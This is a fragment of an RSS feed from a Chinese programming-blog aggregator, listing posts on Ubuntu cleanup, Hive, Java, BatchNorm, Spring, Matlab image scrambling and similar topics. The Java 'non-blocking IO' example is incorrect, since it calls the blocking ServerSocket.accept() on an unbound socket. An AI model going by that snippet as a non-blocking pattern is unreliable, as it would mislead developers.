      <pubDate>Sun, 22 Aug 2021 18:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11b806e2f4939a31a3eb12b4dec629e8/</guid>
      <description>大家好，我是鱼哥&#xA;如题，就是我发这篇文章的原因&#xA;不知道是那个大佬推荐了我的公众号，突然很多读者想入群一块交流&#xA;所以开一个技术交流 4 群，提供一个平台给大家交流&#xA;不过在公布加入方式之前有几点需要大家知道&#xA;入群必看 1、谢绝广告党，拼夕夕砍一刀等 别打广告了，想想多少群给你们这样搞没的&#xA;2、不开车，绿色交流，开着开着群里人就走光了 3、敢于交流，善用百度 进群交流，重要的是进群吗？不是！！&#xA;是交流啊！！！&#xA;进群不说话？那我怀疑你是来偷我表情包的&#xA;还有问问题之前看看下面这段公式&#xA;问题描述应该包含问题主体陈述 + 包含行号的代码截图 + 报错截图 + 这个问题你尝试了哪些操作&#xA;别光问，发报错截图啊，没图说个 xx&#xA;4、再看一遍上面的 3 点内容，谢谢~ 群服务有那些？ 1、快乐就完事了（男孩子的快乐就这么简单） 虽然说是技术交流群，不过吹水，摸鱼，水友赛当然必不可少了&#xA;2、Python 爬虫技术讨论 这个更多的是大家对遇到的一些问题，拎出来一块讨论&#xA;群里经常有大佬直接甩代码，对于这种行为我是抱谴责态度的，主要是甩的太多一下看不完 ，这里点名批评一下&#xA;@南山大佬@翻身大佬@花哥@哲哥&#xA;。。。&#xA;3、爬虫招聘资源共享 我经常逛交流群看到有爬虫招聘就会随手甩到群里或者直接把招聘的老哥安排进来，快速高效&#xA;以上就是我要说的大部分内容了&#xA;如何加群？ 1、扫下面的二维码，备注【咸鱼666】，不备注不通过&#xA;2、已经有我好友的私聊我就行，已经在交流群的老哥就不要加了，哪个群服务都一样，都可以碰到有趣的灵魂&#xA;以上~</description>
    </item>
    <item>
      <title>ubuntu清理空间技巧 包含【系统日志、缓存、无用包、内核、VScode、conda、snap、pip】</title>
      <link>https://bchobby.github.io/posts/e745bc75da9db8f186e6d58fa87f10d6/</link>
      <pubDate>Sun, 22 Aug 2021 18:34:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e745bc75da9db8f186e6d58fa87f10d6/</guid>
      <description>可以通过在ubuntu18.04中打开左下角9个点的显示应用程序-&amp;gt;工具-&amp;gt;Disk usage Analyzer查看空间大小，或者终端输入下面指令查看：&#xA;baobab 或者通过&#xA;du -sh * 命令查看文件夹下的软件占用内存&#xA;方法一 在/var/log/journal/垃圾日志文件，可以看到他的内存占用是比较大的，那么我们可以通过如下命令来清除这些日志文件&#xA;journalctl --disk-usage # 检查日志大小 sudo journalctl --vacuum-time=1w # 只保留一周的日志 sudo journalctl --vacuum-size=500M # 只保留500MB的日志 rm -rf /var/log/journal/askd342fh35aewfhagf67iuro1（垃圾文件） # 直接删除/var/log/journal/目录下的日志文件 du -sh ~/.cache/thumbnails # 检查缩略图缓存的大小 rm -rf ~/.cache/thumbnails/* # 清除缩略图缓存 方法二 如果是虚拟机的话，可以删除.cache/vmware/drag_and_drop/路径下缓存区数据，因为通过vmware安装的虚拟机时会安装vmware tools,其中为了方便拷贝数据，会在ubuntu系统.cache/vmware/drag_and_drop/路径下创建一些缓存目录，从windows中拷贝过来会先存储在这里，粘贴完了我们自然可以把他删除。&#xA;方法三 下三个命令主要清理升级缓存以及无用包&#xA;sudo apt-get autoclean # 删除旧版本软件缓存 sudo apt-get clean # 删除系统内所有软件缓存 sudo apt-get autoremove # 删除系统不再使用的孤立软件 方法四 如果电脑装有VScode可以删除VScode中ipch文件（可以在磁盘分析器baobab中查看下面路径内容）&#xA;/home/用户名/.cache/vscode-cpptools/ipch Cache：在计算机存储系统的层次结构中，介于中央处理器和主存之间的高速小容量存储器。它和主存储器一起构成一级的存储器。高速缓存存储器和主存存储器之间信息的调度和传送是由硬件自动进行的。&#xA;Ipch：这些文件是Visual Studio用来保存预编译版的头文件和Intellisense用的。如果删除后，重新加载项目会重建这些文件，但VSCode中设定范围后就不会产生超过这个数的缓存大小。&#xA;ipch文件内包含缓存的预编译头文件（PCH），vscode使用的时间越长，那么这个文件夹内的缓存就越多，最终会造成较大的内存占用。当我们不用来运行很大的文件时，只是利用它来敲代码，用不到预编译头文件时可以关闭这个功能。&#xA;操作&#xA;在VSCode菜单栏中 文件-&amp;gt;首选项-&amp;gt;设置（ctrl+，），然后搜索C_Cpp.</description>
    </item>
    <item>
      <title>Hive错误--＞由于lateral view explode() 导致的空指针错误 FAILED: NullPointerException null</title>
      <link>https://bchobby.github.io/posts/582dd13138b17e4947192781c1608152/</link>
      <pubDate>Sun, 22 Aug 2021 13:20:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/582dd13138b17e4947192781c1608152/</guid>
      <description> 错误:&#xA;代码:&#xA;select videoId,category from gulivideo_orc where videoId in ( select relatedId_name from ( select relatedId, `views` from gulivideo_orc order by `views` desc limit 50 ) t1--找到top50 lateral view explode(relatedId) tmp as relatedId_name ) t2 --找出top50对应的相关视频Id 原因:经过多种测试发现是因为lateral view explode() 函数导致的,&#xA;解决方法:通过子查询再进行一次封装即可&#xA;select videoId,category from gulivideo_orc where videoId in ( select * from ( select relatedId_name from ( select relatedId, `views` from gulivideo_orc order by `views` desc limit 50 ) t1--找到top50 lateral view explode(relatedId) tmp as relatedId_name ) t2 --找出top50对应的相关视频Id ) </description>
    </item>
    <item>
      <title>ArrayList和LinkedList有哪些区别</title>
      <link>https://bchobby.github.io/posts/59ebcb07312ad1191a52f8bdcb315179/</link>
      <pubDate>Sun, 22 Aug 2021 09:35:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59ebcb07312ad1191a52f8bdcb315179/</guid>
      <description>第一个区别：&#xA;首先查看一下ArrayList和LinkedList部分源码：&#xA;ArrayList： LinkedList：&#xA;可以看出它们都实现了list接口但是LinkedList多实现了一个Deque接口，那么LinkedList多了一个双端队列的特性，可以从前面插入数据（addFirst）也可以从末尾插入数据（addLast）&#xA;第二个区别：&#xA;ArrayList：&#xA;LinkedList：&#xA;可以看到ArrayList底层是使用数组进行实现的，LinkedLis底层是通过链表的方式进行实现，&#xA;当数组在指定位置添加一个元素的时候，需要将后面的元素下标进行更改，效率比较低。而LinkedList只需要找到指定元素，更改一下指针指向的地址位置就可以进行添加。&#xA;那么可以得到如下区别：&#xA;ArrayList比LinkedList在随机访问的时候效率要高，因为LinkedList是线性的数据存储方式，需要移动指针从前往后依次查找。&#xA;在非首尾的增加和删除操作，LinkedList要比ArrayList效率要高，因为ArrayList增删操作要影响数组内其他数据的下标。&#xA;综合来说，在需要频繁读取集合中的元素时候，更推荐使用ArrayList，而在插入和删除操作较多的时候，更推荐使用LinkedList</description>
    </item>
    <item>
      <title>简单了解String，StringBuffer，StringBuilder的区别</title>
      <link>https://bchobby.github.io/posts/d80dd5efc6456e955b64f5b4479522d8/</link>
      <pubDate>Sun, 22 Aug 2021 08:57:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d80dd5efc6456e955b64f5b4479522d8/</guid>
      <description>对于这段程序来说并没有真正修改aaa这个字符串常量，而是创建了一个新的字符串常量bbb&#xA;而StringBuffer和StringBuilder是可以改变的，修改时他不会创建一个新的对象。&#xA;那么StringBuilder和StringBuffer什么区别呢？&#xA;我们从他的源码进行分析，拿他们的append方法为例：&#xA;StringBuider：&#xA;StringBuffer：&#xA;可以看出StringBuffer比StringBuilder多了一个synchronized的修饰符，增加了锁的机制，所以StringBuffer是线程安全的&#xA;总结：&#xA;1.String是不可变的，如果要尝试修改，它会生成一个新的字符串对象，StringBuffer和StringBuilder是可变的。&#xA;2.StringBuffer是线程安全的，StringBuilder是线程不安全的，在单线程情况下StringBuilder效率更高。</description>
    </item>
    <item>
      <title>new一个String对象到底进行了那些步骤</title>
      <link>https://bchobby.github.io/posts/a886f0766439059d86e80b213e250f5e/</link>
      <pubDate>Sat, 21 Aug 2021 17:09:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a886f0766439059d86e80b213e250f5e/</guid>
      <description>new一个String对象到底进行了那些步骤？&#xA;new String(&#34;abc&#34;)可以理解为创建了两个对象，第一个对象是字符串常量&#34;abc&#34;对象，它放在字符串常量池中，第二个对象是new String（&#34;abc&#34;），它放在堆中。&#xA;对于s2，这种方式会首先从字符串常量池中检查是否有&#34;abc&#34;这个字符串&#xA;对于s3,使用intern方法，首先会从字符串常量池中检查是否存在&#34;abc&#34;,如果存在则返回字符串引用，如果不存在，则把&#34;abc&#34;添加到字符串常量池中，并返回该字符串的引用。&#xA;执行结果：</description>
    </item>
    <item>
      <title>JAVA如何不改变字符串变量地址来修改变量内容</title>
      <link>https://bchobby.github.io/posts/dea17848205c0d037a595026ffb38950/</link>
      <pubDate>Sat, 21 Aug 2021 16:45:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dea17848205c0d037a595026ffb38950/</guid>
      <description>问题描述：&#xA;问题解决：使用反射的方式&#xA;代码解释：&#xA;getClass（）方法作用： 获取一个(类)Class，进而通过返回的Class对象获取s的相关信息，比如：获取s的方法，属性有哪些等等信息。&#xA;getDeclaredField（）：获取S的value字段，至于为什么是Value，查看一下String的源码，按住ctrl鼠标点击String，可以看到&#xA;value才是我们需要改变的内容，而在String中value是私有的并且是一个字符数组&#xA;这也是更改值为&#34;bbb&#34;的时候为什么要先SetAccessible然后再toCharArray一下&#xA;代码运行结果：</description>
    </item>
    <item>
      <title>【大数据开发】供应链之CRM、OMS、WMS、SRM、SCM</title>
      <link>https://bchobby.github.io/posts/50db8434e5100a22b876288496a9e496/</link>
      <pubDate>Sat, 21 Aug 2021 11:26:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50db8434e5100a22b876288496a9e496/</guid>
      <description>在市场上常常会出现CRM、OMS、WMS、SCM等产品概念，实际显示的是供应链不同阶段的反应。&#xA;CRM、OMS、WMS、SRM、SCM分别面向客户销售、订单、库存、采购、供应链几个不同个环节，严格意义上来说一套完整的业务流程都需要用到的，但是一些企业的业务流程不需要进销存的全部功能，接下来就简单的来介绍各系统的特点。&#xA;(1)CRM系统&#xA;CRM是客户关系管理系统，主要记录从客户的录入到商机跟进的过程，以生成订单作为节点，一般情况只要销售人员使用，主要模块有：客户维护、商机进度、绩效管理等业务模块。&#xA;CRM只反映销售从客户意向到签订订单的过程，不涉及存储、出入库业务。&#xA;1575267543666_CRM.jpg&#xA;(2)OMS介绍&#xA;OMS是订单管理系统，以订单管理为核心工作，为企业提供订单从开始销售到完成交易全生命周期的监控和管理。OMS系统可能记录的订单信息有：产品详细信息(描述性信息、属性、型号、在仓库中的位置等)、库存情况(库存中、采购途中等等)、需交货的日期、价格和折扣情况等等。OMS系统包含的主要功能是有：订单接收、订单拆分与合并、合约管理、商品目录管理、库存查询等。&#xA;OMS主要面对的业务环节是企业销售与客户之间的订单关系管理，其中客户的类型可以是个人客户也可以是企业客户。在主体信息方面会以订单为核心。&#xA;(3)WMS介绍&#xA;WMS是库存管理系统，它将企业仓储的货品信息进行详细的记录和管理。WMS系统通常记录的信息有：产品详细信息、入库时间、入库批次及编号、商品分类、所在仓库中的位置、库存量等等。WMS包含的核心功能有：出/入库管理、退货管理、发货管理、库存调整、仓库调拨等等。&#xA;WMS主要面对的业务环节是库存商品存储和调配的关系管理，以库存商品为核心。其中是出库和入库缓解可能是与订单管理系统和供应链管理系统有一些交集，但WMS更加强调对库存商品的全生命周期的管理。&#xA;(4)SRM系统&#xA;SRM是供应商管理系统，主要面向从采购洽谈到采购订单签订的过程，一般有采购人员管理，主要功能模块：供应商维护、采购意向、采购订单、入库申请等。&#xA;SRM常常与CRM向对应，只体现从意向到订单的业务，不体现实际仓储、出入库业务。&#xA;(5)SCM介绍&#xA;SCM系统是供应链管理系统，是通过将供应链信息化的手段，将企业供应链资源信息进行详尽的记录和管理，最终尽可能实现企业的整个采购流程的可控性。SCM系统通常记录的信息有：采购单商品列表、供应商详情、发货日期、物流信息等等。SCM包含的功能有：采购订单管理、采购退货管理、采购换货管理等等。&#xA;SCM系统面向的业务环节是，供应商与企业的关系管理，以采购单或供应商为核心。一些SCM还可以对物流信息进行跟踪，随时查看采购单的物流目前的状态和位置信息。</description>
    </item>
    <item>
      <title>出现 “java”不是内部或外部命令，也不是可运行程序或批处理文件的问题</title>
      <link>https://bchobby.github.io/posts/e86bf562873f268aec1a6f183e3b480f/</link>
      <pubDate>Sat, 21 Aug 2021 00:31:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e86bf562873f268aec1a6f183e3b480f/</guid>
      <description>分析原因如下： 第一是Java配置：是否下载jdk,jre即Java的开发工具和运行环境。 一般下载jdk时是自动携带下载jre的；位置在Program Files里面 如果一切下载安装没问题，那就是环境变量配置问题 第二种：选择属性打开，选择高级系统设置 环境变量配置 1.新建系统变量JAVA_HOME&#xA;变量名：JAVA_HOME&#xA;变量值：C:\Program Files\Java\jdk1.8.0_131 (默认安装的JDK根目录) 注意变量值，按你的电脑路径配置。&#xA;2.修改系统变量Path Path的变量值就是JDK的bin目录: C:\Program Files\Java\jdk1.8.0_131\bin 有就选择编辑；&#xA;3.新建系统变量CLASS_PATH 变量名：CLASS_PATH&#xA;变量值：C:\Program Files\Java\jdk1.8.0_291\lib; (是JDK安装的lib目录) 配置完3个环境变量,点击确定即可,如下: 总结：我报错的原因是真的没有单独的新建一个CLASS_PATH和指定lib目录路径 后来我才明白之前那些根本算不上配置，是我太自以为是了。总觉得自己以前配置过的，没什么大毛病，一看不知道，仔细看了吓一跳。老是报错的我还是静下了心来发现问题。最终解决了&#xA;最后，查看是否完成JDK配置 1.Win图标+R,出现运行窗口&#xA;2.打开的输入栏里面输入命令：cmd 3，按回车即可进入系统命令行。&#xA;检验命令：java -version&#xA;javac</description>
    </item>
    <item>
      <title>归一化和标准化</title>
      <link>https://bchobby.github.io/posts/e315f85aba4c9aa302eaa3a9f8cccbae/</link>
      <pubDate>Fri, 20 Aug 2021 20:40:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e315f85aba4c9aa302eaa3a9f8cccbae/</guid>
      <description>归一化和标准化 归一化和标准化归一化标准化Batch Normalization原理步骤训练与测试时的区别优点缺点注意BN与Dropout影响 各种标准化区别 归一化和标准化 最小最大归一化（减最小值，除最大最小的差值）和均值方差归一化（减均值，除方差）&#xA;作用&#xA;1）统一量纲，加快模型收敛速度，（不做归一化，梯度下降时，各数据对模型的贡献不一致，导致模型不稳定，收敛性不好，错过最优解）&#xA;2）提高模型精度&#xA;归一化 一般用于线性模型&#xA;适用范围：对输出结果范围有要求的，数据较为稳定，不存在极端的最大最小值&#xA;缺点：当有新数据加入时，可能导致max和min的变化，需要重新定义。&#xA;另外，最大值与最小值非常容易受异常点影响，所以这种方法鲁棒性较差，只适合传统精确小数据场景&#xA;标准化 存在异常值和较多噪音，用标准化。&#xA;Batch Normalization 原理 参数根据梯度下降在不断变化，每经过一个网络层数据的分布都会发生不同的改变。我们将这种由于网络参数更新造成的数据分布变化称为Internal Covariate Shift。Internal Covariate Shift会导致输入数据分布向某一个方向偏移，从而造成网络数据训练缓慢。以sigmoid为例，sigmoid函数的导数在输入为0时变化大，梯度下降最快，假如分布偏移到6以上，则大部分数据落入饱和区，梯度下降会非常缓慢。解决在训练中，中间层数据分布发生改变的情况，于是就有了Batch Normalization&#xA;步骤 1）计算均值和方差；2）进行标准化；3）进行scale和shift&#xA;需要学习参数γ,β：找到一个线性和非线性的平衡点，既能享受非线性较强的表达能力，有可以避免非线性饱和导致网络收敛变慢问题。如果不加，分布一直都是正太分布，学不到东西。&#xA;描述过程就是：在batch上进行标准化，即将batch上的所有图片的通道R作为1组，进行标准化；将batch上的所有图片的通道G作为1组，进行标准化&#xA;训练与测试时的区别 训练时均值和方差为计算所得，γ,β进行学习&#xA;测试时，γ,β为学习到的，均值方差为训练过程中的平均值，或者指数加权移动平均值，pytorch默认用的指数加权移动平均&#xA;优点 1）对模型初始化和超参不敏感，减少超参数调整，允许使用更大的学习率。&#xA;2）可以加快模型收敛速度&#xA;因为神经网络本质上是学习数据的分布情况，而mini-batch每次都会有不同的分布，也就是说，每次训练的数据都有不同的分布，数据抖动很大，所以权重变化也会很大。而batch norm会将数据归一化，减少不同batch间数据的抖动情况，从而提高训练速度&#xA;3）提高模型泛化能力，抑制模型过拟合，起到正则化的作用，类似dropout的功能。&#xA;dropout在训练阶段引入随机性，防止过度匹配；在测试阶段去除掉这种随机性， 从而获得确定而准确的结果。BN也是一样，训练阶段的随机性为随机batch的方差均值，在测试阶段通过求期望等方式在全局去除掉这种随机性获得准确的结果。&#xA;与L1、L2正则化方法概念有区别&#xA;4）避免深层网络的梯度消失或爆炸问题&#xA;BN通过固定网络层输入的均值和方差，即使网络较深层的响应或梯度过小或过大时，也可通过BN的规范化作用将其缩放到一个比较合理的取值范围，从而避免梯度消失或爆炸问题&#xA;5）允许网络使用饱和性激活函数(例如sigmoid，tanh等)，缓解梯度消失问题&#xA;缺点 1）不适合小batch；&#xA;2）有可能训练的结果跟测试的不一样&#xA;3）对于在线学习可能有影响，因为在线学习改变数据分布太大&#xA;4）不是适合所有任务，盲目使用可能效果并不好&#xA;注意 使用BN的过程中，作者发现Sigmoid激活函数比Relu效果要好&#xA;对于sigmoid函数而言，拉回到非饱和区域。&#xA;对于relu函数而言，gamma作用不大，beta很重要，否则0均值1方差会导致一半的数值在负半轴失活&#xA;BN与Dropout影响 BN或Dropout单独使用能加速训练速度并且避免过拟合，但是倘若一起使用，会产生负面效果。BN在某些情况下会削弱Dropout的效果&#xA;BN与Dropout最好不要一起用，若一定要一起用，有2方法：&#xA;1 在所有BN层后使用Dropout&#xA;2 修改Dropout公式（如使用高斯Dropout）使得它对方差不是那么敏感&#xA;总体思路是降低方差偏移&#xA;Dropout 与BN之间冲突的关键是网络状态切换过程中存在神经方差的（neural variance）不一致行为。&#xA;各种标准化区别 各种标准化区别&#xA;标准化层，目前主要有这几个方法&#xA;1）Batch Normalization（2015年）</description>
    </item>
    <item>
      <title>Java网络编程模型之阻塞与非阻塞</title>
      <link>https://bchobby.github.io/posts/fb53db99df3b7f7524d9d8090ad583f1/</link>
      <pubDate>Fri, 20 Aug 2021 19:54:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb53db99df3b7f7524d9d8090ad583f1/</guid>
      <description> 1.阻塞I/O模型 阻塞IO模型是常见的IO模型，在读写数据时客户端会发生阻塞。阻塞IO模型的工作流程为：&#xA;1.1在用户线程发出IO请求之后，内核会检查数据是否就绪，此时用户线程一直阻塞等待内存数据就绪；&#xA;1.2在内存数据就绪后，内核将数据复制到用户线程中，并返回I/O执行结果到用户线程，此时用户线程将解除阻塞状态并开始处理数据。&#xA;典型的阻塞I/O模型的例子为data= socket.read（），如果内核数据没有就绪， Socket线程就会一直阻塞在 reado中等待内核数据就绪。&#xA;2.非阻塞I/O模型 非阻塞I/O模型指用户线程在发起一个操作后，无须阻塞便可以马上得到内核返回的一个结果。如果内核返回的结果为fase，则表示内核数据还没准备好，需要稍后再发起I/O操作。一旦内核中的数据准备好了，并且再次收到用户线程的请求，内核就会立刻将数据复制到用户线程中并将复制的结果通知用户线程。&#xA;在非阻塞IO模型中，用户线程需要不断询问内核数据是否就绪，在内存数据还未就绪时，用户线程可以处理其他任务，在内核数据就绪后可立即获取数据并执行相应的操作。典型的非阻塞IO模型一般如下：&#xA;import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; public class Test7 { public static void main(String[] args) throws IOException { ServerSocket socket=new ServerSocket(); while(true){ Socket data=socket.accept(); if (data!=null) { //数据处理完毕 break;} else { //内核数据未处理完成，进行其他线程业务 } } } } </description>
    </item>
    <item>
      <title>二维 Arnold 的图像置乱加密及解密——Matlab实现</title>
      <link>https://bchobby.github.io/posts/b27b0c8f7cd62dad93b6e6a0c9a22661/</link>
      <pubDate>Fri, 20 Aug 2021 14:31:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b27b0c8f7cd62dad93b6e6a0c9a22661/</guid>
      <description>二维 Arnold 的图像置乱加密及解密——Matlab实现&#xA;二维 Arnold 的图像置乱加密及解密（1）：RGB图像的处理&#xA;基于Arnol变换的图像置乱&#xA;Arnold变换是俄国数学家Vladimir I. Arnold提出的一种变换,一幅N ×N的数字图像的二维Arnold&#xA;变换定义为:&#xA;注意：x,y是原图像的像素坐标，x&#39;,y&#39;是变换后的像素坐标。保证｜ad-bc｜＝1，如置换矩阵系数设为a＝b＝1,c＝2，d=3，置换次数n=20，则他们被当作密钥key，用于解密。Arnol变换的图像类型只能是N*N的图片。&#xA;RGB图像的二维 Arnold 的图像置乱加密及解密&#xA;（1）编写一个arnold.m文件与iarnold.m文件（见上一篇日志《二维 Arnold 的图像置乱加密及解密——Matlab实现(1)》）&#xA;（2）图像处理程序&#xA;图像加密置乱：&#xA;a=imread(&#39;flower.jpg&#39;); %取预处理图像&#xA;R=a(:,:,1); %取图像的R层像素&#xA;G=a(:,:,2); %取图像的G层像素&#xA;B=a(:,:,3); %取图像的B层像素&#xA;subplot(2,2,1);imshow(a);title(&#39;original&#39;);&#xA;subplot(2,2,2);imshow(R);title(&#39;R&#39;);&#xA;subplot(2,2,3);imshow(G);title(&#39;G&#39;);&#xA;subplot(2,2,4);imshow(B);title(&#39;B&#39;);&#xA;keyR=[5,5,2,7,3];keyG=[3,1,1,2,1];keyB=[6,3,2,4,3]; %分别为RGB三层设计三个不同密钥&#xA;aR=arnold(R,keyR);aG=arnold(G,keyG);aB=arnold(B,keyB);%对各层用不同的密钥加密&#xA;figure;subplot(2,2,1);imshow(aR);title(&#39;aR&#39;)；%加密后的图像&#xA;subplot(2,2,2);imshow(aG);title(&#39;aG&#39;);&#xA;subplot(2,2,3);imshow(aB);title(&#39;aB&#39;);&#xA;aa=cat(3,aR,aG,aB); %各层加密后在合成彩色图像&#xA;subplot(2,2,4); imshow(aa); title(&#39; Permuted&#39;);%RGB图像加密后的结果&#xA;imwrite(aa,&#39;aflower.bmp&#39;); 图像解密还原：&#xA;b=imread(&#39;aflower.bmp&#39;); %取加密后的图像&#xA;aR1=b(:,:,1); %取图像R层的像素&#xA;aG1=b(:,:,2); %取图像R层的像素&#xA;aB1=b(:,:,3); %取图像R层的像素&#xA;subplot(2,2,1);imshow(b);title(&#39;original&#39;);&#xA;keyR=[5,5,2,7,3];keyG=[3,1,1,2,1];keyB=[6,3,2,4,3];%由加密方提共的密钥&#xA;iaR=iarnold(aR1,keyR);iaG=iarnold(aG1,keyG);iaB=iarnold(aB1,keyB);%对各层进行解密&#xA;subplot(2,2,2);imshow(iaR);title(&#39;iaR&#39;);&#xA;subplot(2,2,3);imshow(iaG);title(&#39;iaG&#39;);&#xA;subplot(2,2,4);imshow(iaB);title(&#39;iaB&#39;);&#xA;c=cat(3,iaR,iaG,iaB); %将RGB三层合成彩色图像&#xA;figure; imshow(c); title(&#39; Decrypted&#39;); %最后还原的图像&#xA;imwrite(c,&#39;jiemi.bmp&#39;);</description>
    </item>
    <item>
      <title>雷神Spring实验10～14笔记</title>
      <link>https://bchobby.github.io/posts/8b68e7cfe113efec78db5e94f55e6f2f/</link>
      <pubDate>Fri, 20 Aug 2021 11:49:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b68e7cfe113efec78db5e94f55e6f2f/</guid>
      <description>笔记参考雷神上课的印象笔记和源码&#xA;实验10：创建带有生命周期方法的bean 实验11：测试bean的后置处理器 实验12：引用外部属性文件★（spring管理连接池）； 实验13：基于XML的自动装配（自定义类型自动赋值） javaBean（基本类型） （自定义类型的属性是一个对象，这个对象在容器中可能存在） 实验14：[SpEL测试I] 在SpEL中使用字面量、 引用其他bean、 引用其他bean的某个属性值、 调用非静态方法 调用静态方法、 使用运算符 实验10：创建带有生命周期方法的bean&#xA;&amp;lt;!-- 实验10：创建带有生命周期方法的bean 生命周期：bean的创建到销毁； ioc容器中注册的bean； 1）、单例bean，容器启动的时候就会创建好，容器关闭也会销毁创建的bean 2）、多实例bean，获取的时候才创建； 我们可以为bean自定义一些生命周期方法；spring在创建或者销毁的时候就会调用指定的方法； 自定义初始化方法和销毁方法 init-method和destroy-method ：The method must have no arguments,but may throw any exception ConfigurableApplicationContext有close()方法&#x9;单例bean的生命周期 （容器启动）构造器-初始化方法-（容器关闭）销毁方法 多实例bean的生命周期 获取bean（构造器）-初始化方法- 容器关闭 不会调用bean的销毁方法 --&amp;gt; &amp;lt;bean id=&#34;book01&#34; class=&#34;com.atguigu.bean.Book&#34; destroy-method=&#34;myDestory&#34; init-method=&#34;myInit&#34; &amp;gt;&amp;lt;/bean&amp;gt; 实验11：测试bean的后置处理器&#xA;&amp;lt;!--实验11：测试bean的后置处理器:BeanPostProcessor Spring有一个接口：后置处理器：作用是可以在bean的初始化前后调用方法； 创建一个接口文件MyBeanPostProcessor.class 里面有两种方法 public Object postProcessBeforeInitialization(Object bean,String beanName){} 初始化之前调用 public Object postProcessAfterInitialization(Object bean,String beanName){} 初始化之后调用 Object bean String beanName ：bean在xml中配置的id （容器启动）构造器-后置处理器before-初始化方法-后置处理器after-（容器关闭）销毁方法 无论bean是否有初始化方法，后置处理器都会默认其有，还会继续工作 比如car 就没有初始化方法 --&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>vue element-plus中collapse折叠面板默认全部展开</title>
      <link>https://bchobby.github.io/posts/0808760242f1f1f238a3dd65b86056fe/</link>
      <pubDate>Fri, 20 Aug 2021 11:01:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0808760242f1f1f238a3dd65b86056fe/</guid>
      <description>应用场景 将图中所有的collapse全部默认展开&#xA;代码：&#xA;activeNames是个数组，存放的是要展开的collapse的name&#xA;注意事项：这里的activeNames不能动态去改变，要一次性赋值&#xA;这样写默认是不能展开的&#xA;正确的写法：(我理解的，这样写实现了)</description>
    </item>
    <item>
      <title>数据结构/C&#43;&#43;实习：作业完成情况管理程序</title>
      <link>https://bchobby.github.io/posts/8dd71e5eae360563bd8a32fa3bb63f74/</link>
      <pubDate>Thu, 19 Aug 2021 20:42:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8dd71e5eae360563bd8a32fa3bb63f74/</guid>
      <description>源码（含数据），实习论文，实习计划书，实习汇报PPT：下载链接 https://download.csdn.net/download/weixin_43042683/21354783&#xA;任务内容 题目内容：作业完成情况管理程序&#xA;具体要求：假设某门课程一学期要留10次作业，每次老师要进行批改，给出分数后还要进行登记。学期期末要根据每次作业的成绩计算出最终的平时成绩（满分100）。&#xA;该程序应该具有下列功能：&#xA;(1) 通过键盘输入某位学生某次作业的分数；&#xA;(2) 给定学号，显示某位学生作业完成情况；&#xA;(3) 给定某个班级的班号，显示该班所有学生的作业完成情况；&#xA;(4) 给定某位学生的学号，修改该学生的作业完成信息；&#xA;(5) 给定某位学生的学号，删除该学生的信息；&#xA;(6) 提供一些统计各类信息的功能。&#xA;程序设计框图 程序设计流程图 进入系统可进行的操作，可以在系统中输入学生的各项信息和成绩，也可以从文件中直接导入（文件中保存的信息应该依次是姓名、学号、班级号、连续十次的成绩，各个信息用空格隔开）。&#xA;详细设计说明 Mian()主函数包括：（实习论文更详细）&#xA;Printf_help();//显示主菜单&#xA;input(st,qt);// 通过键盘输入某位学生某次作业的分数&#xA;readfile(st,fp);// 从文件导入学生信息&#xA;sno_search(st);// 给定学号，显示某位学生作业完成情况&#xA;cno_search(st);// 给定某个班级的班号，显示该班所有学生的作业完成情况&#xA;sno_change(st);// 给定某位学生的学号，修改该学生的作业完成信息&#xA;sno_delete(st);// 给定某位学生的学号，删除该学生的信息&#xA;statistics_result(st);// 显示各类统计信息&#xA;system(&#34;CLS&#34;);//清屏&#xA;creat_files(st,fp);// 导出文件&#xA;程序使用说明 步骤一：首次运行之后会出现一个主菜单：&#xA;步骤二：然后可以根据不同的数字字符的输入，进行不同的操作。每一步操作也有下一步相应的文字提示。&#xA;在主菜单中选择‘1’后，就是进行键盘输入某位学生某次作业的分数的操作：&#xA;在主菜单中选择‘2’后，进行文件导入学生信息操作：&#xA;在主菜单中选择‘3’，就是对给定学生学号进行该学生作业完成情况的一个查询工作：&#xA;在主菜单中选择‘4’，可通过班级号，对该班学生的作业完成情况进行查询：&#xA;在主菜单中选择‘5’，可修改给定学号的学生作业完成信息： 在主菜单中选择‘6’，可删除给定学号的学生作业完成信息：&#xA;在主菜单中选择‘7’，可显示各类统计信息：&#xA;在副菜单下选择‘1’，可以按学号查看学生平时成绩：&#xA;在副菜单下选择‘2’，可以按班级查看学生平时成绩：&#xA;在副菜单下选择‘3’，输出降序的平时成绩的排列：&#xA;在主菜单中选择‘8’，执行清屏功能；&#xA;步骤三：&#xA;在主菜单中选择‘9’，导出文件：&#xA;在主菜单中选择‘0’，退出系统：&#xA;参考代码 #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;io.h&amp;gt; #include &amp;lt;ctype.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;conio.</description>
    </item>
    <item>
      <title>Ubuntu系统中根目录占用了大量内存后清理步骤</title>
      <link>https://bchobby.github.io/posts/ac2c8190ad2c109d165fb2cc950c4ebb/</link>
      <pubDate>Thu, 19 Aug 2021 16:00:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac2c8190ad2c109d165fb2cc950c4ebb/</guid>
